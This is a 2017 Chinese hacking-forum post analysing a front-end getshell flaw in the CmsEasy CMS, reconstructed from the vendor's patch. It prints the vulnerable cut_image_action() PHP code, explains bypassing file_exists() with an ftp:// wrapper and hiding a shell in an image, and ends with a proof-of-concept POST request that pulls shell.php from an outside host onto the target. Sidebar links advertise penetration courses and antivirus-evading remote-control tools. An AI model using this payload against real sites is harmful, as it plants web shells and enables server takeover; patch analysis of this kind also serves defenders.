HACK80

我们很年轻,但我们有信念、有梦想!

我们坚信只有今天付出了,才有机会看到明天的太阳!
现在!加入我们,给你一个气氛优秀的技术圈子

作者: juk小乖
查看: 111|回复: 0

more +随机图赏Gallery

2017年中旬WEB渗透系列课程-19文件包含与目录遍历2017年中旬WEB渗透系列课程-19文件包含与目录遍历
2017年中旬WEB渗透系列课程-18上传绕过方法演示2017年中旬WEB渗透系列课程-18上传绕过方法演示
2017年中旬WEB渗透系列课程-17了解上传检测方式2017年中旬WEB渗透系列课程-17了解上传检测方式
2017年中旬WEB渗透系列课程-27HASH提权2017年中旬WEB渗透系列课程-27HASH提权
HACK80远控 免杀的 账号密码打包 每天都发账号 回帖要。可改密码!HACK80远控 免杀的 账号密码打包 每天都发账号 回帖要。可改密码!
2017年中旬WEB渗透系列课程-16解析漏洞演示2017年中旬WEB渗透系列课程-16解析漏洞演示
2017年中旬WEB渗透系列课程-15XSS绕过集合2017年中旬WEB渗透系列课程-15XSS绕过集合
2017年中旬WEB渗透系列课程-14XSS能干什么2017年中旬WEB渗透系列课程-14XSS能干什么
2017年中旬WEB渗透系列课程-13XSS漏洞检测2017年中旬WEB渗透系列课程-13XSS漏洞检测
2017年中旬WEB渗透系列课程-12XSS分析及演示2017年中旬WEB渗透系列课程-12XSS分析及演示

CmsEasy前台无限制GetShell

[复制链接]
juk小乖 发表于 2017-10-12 16:33:17 | 显示全部楼层 |阅读模式
查看: 111|回复: 0

马上注册,加入HACK80!与我们一起交流。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
简要描述
CMSEasy官方在2016-10-12发布了一个补丁,描述只有两句话
前台getshell漏洞修正;
命令执行漏洞修正;
我们就根据补丁来分析一下这个前台Getshell漏洞。

漏洞详情
修改的文件不多,通过diff发现补丁中lib/default/tool_act.php 392行的cut_image_action()函数被注释了。
来看看这个函数
  1. /*function cut_image_action() {
  2.     $len = 1;
  3.     if(config::get('base_url') != '/'){
  4.         $len = strlen(config::get('base_url'))+1;
  5.     }
  6.     if(substr($_POST['pic'],0,4) == 'http'){
  7.         front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
  8.     }else{
  9.         front::$post['thumb'] = substr($_POST['pic'],$len);
  10.     }
  11.     $thumb=new thumb();
  12.     $thumb->set(front::$post['thumb'],'jpg');
  13.     $img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
  14.     $save_file='upload/images/'.date('Ym').'/'.$new_name;
  15.     @mkdir(dirname(ROOT.'/'.$save_file));
  16.     ob_start();
  17.     $thumb->out_image($img,null,85);
  18.     file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
  19.     ob_end_clean();
  20.     $image_url=config::get('base_url').'/'.$save_file;
  21.     //$res['size']=ceil(strlen($img) / 1024);
  22.     $res['code']="
  23.                     //$('#cut_preview').attr('src','$image_url');
  24.                     $('#thumb').val('$image_url');
  25.                     alert(lang('save_success'));
  26.     ";
  27.     echo json::encode($res);
  28. }
  29. */
复制代码
看保存文件名的生成
  1. $new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
复制代码
不过这里利用需要一点技巧 直接用了$_POST['pic']的后缀做为新文件的扩展名,应该就是这里导致的getshell。
1、图片会经过php的图像库处理,如何在处理后仍然保留shell语句
2、远程加载图片需要通过file_exists函数的验证(要知道http(s)对于file_exists来说会固定返回false)
在正常图片中插入shell并无视图像库的处理 这个freebuf有介绍 国外也有不少分析,当然直接拿freebuf的方法应该是不成功的 需要一点小小的调整
关于file_exits()函数 ftp://协议就可以绕过 wrappers中有介绍
t012bdbca2b40510d28.png
  1. $len = 1;
复制代码
这里构造payload还有一点需要注意的5.0.0以上 就支持file_exists()了
  1. if(config::get('base_url') != '/'){
  2.     $len = strlen(config::get('base_url'))+1;
  3. }
  4. if(substr($_POST['pic'],0,4) == 'http'){
  5.     front::$post['thumb'] =
  6.     str_ireplace(config::get('site_url'),'',$_POST['pic']);
  7. }else{
  8.     front::$post['thumb'] = substr($_POST['pic'],$len);
  9. }
复制代码
所以构造的时候 如果站点不是放在根目录 则需要在前面补位strlen(base_url)+2 如果放在根目录 也需要补上1位('/'的长度)。如果$_POST['pic']开头4个字符不是http的话,就认为是本站的文件,会从前面抽取掉baseurl(等于返回文件相对路径)。
POC
  1. POST /index.php?case=tool&act=cut_image
  2. pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
复制代码
本地测试截图

t01200ea955ae02661a.png



t01200ea955ae02661a.png
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|手机版|HACK80 ( 沪ICP备15007512号 )

GMT+8, 2017-12-17 12:16 , Processed in 0.062838 second(s), 27 queries .

Powered by Discuz! X3.4 © 2001-2013 Comsenz Inc.